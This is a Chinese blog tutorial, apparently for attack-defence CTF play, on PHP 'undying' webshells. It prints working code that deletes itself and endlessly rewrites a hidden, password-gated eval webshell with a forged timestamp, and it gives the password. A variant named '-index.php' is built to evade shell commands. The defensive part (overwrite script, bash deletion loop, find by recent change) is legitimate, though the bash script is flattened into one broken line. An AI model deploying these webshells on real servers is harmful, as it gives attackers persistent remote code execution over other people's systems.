不死马的利用与克制(基于条件竞争)及变种不死马

发布于 2025-02-27  82 次阅读


不死马即内存马,它会写进进程里,并且无限地在指定目录中生成木马文件

这里以PHP不死马为例

写入不死马

测试代码:

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.index.php';
    $code = '<?php if(md5($_GET["pass"])=="0c13663291276052cc365befb516bbe3"){@eval($_POST[pass]);} ?>';
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .index.php');
        usleep(5000);
    }
?>

我这里的pass的值是:nononodieshell 避免被他人利用

尝试删除该文件,会发现无法删除,这就是不死马,因为它已经写入了进程

使用ls和ll这种命令根本查找不到它,在前面代码我们说了,它会进行自动删除

只有查看新增文件才能发现它

find ./ -cmin -30  #查看30分钟内创建的文件

或者除非你知道这个不死马的名字,也可使用find命令查找(./表示在当前目录下)

处理方法:

1、写入同名文件克制不死马

测试代码:

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.test.php'; //注意名字要和要消除的木马名字一样
    $code = 'come on!';
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .test.php');
          usleep(1000);
    }
?>

注意:usleep的时间一定要比不死马小,$code修改为无害内容即可

假设文件命名为killshell.php,上传该文件并访问它

注意:一定要先去访问它一遍才能触发写入文件

再次尝试连接webshell发现已经连不上了,返回数据为空

在服务器查看webshell的内容不再是一句话木马,而变成了我们后面写入的无害内容

2、使用条件竞争查杀不死马

测试代码:

这是一个bash脚本

#!/bin/bashwhile true do#kill -9 进程IDrm -rf .test.phpdone

如果能查到不死马的进程ID也可以kill命令和rm命令同时进行

使用命令 top | grep httpd 进行查询或者ps aux列出所有进程,找到要查杀的进程

新建查杀脚本

vim rmshell.sh
chmod 777 rmshell.sh

后台不断运行这个脚本

nohup ./rmshell.sh &  

再次查看不死马,发现已经不存在了

拓展:变种不死马

这里写入的木马以-开头,而不是.开头

在 Linux 命令行中,命令在追加参数时都是用的-,所以,如果对这样方式命名的文件执行命令,都会将这个文件当做参数来执行,没有该参数就会报错,以至于命令无法在这个不死马上执行,但缺点就是隐蔽性没有以.开头的好。

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '-index.php';
    $code = '<?php if(md5($_GET["pass"])=="0c13663291276052cc365befb516bbe3"){@eval($_POST[pass]);} ?>';
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" -index.php');
        usleep(5000);
    }
?>

参考链接:不死马的利用与克制(基于条件竞争)及变种不死马_php不死马实战-CSDN博客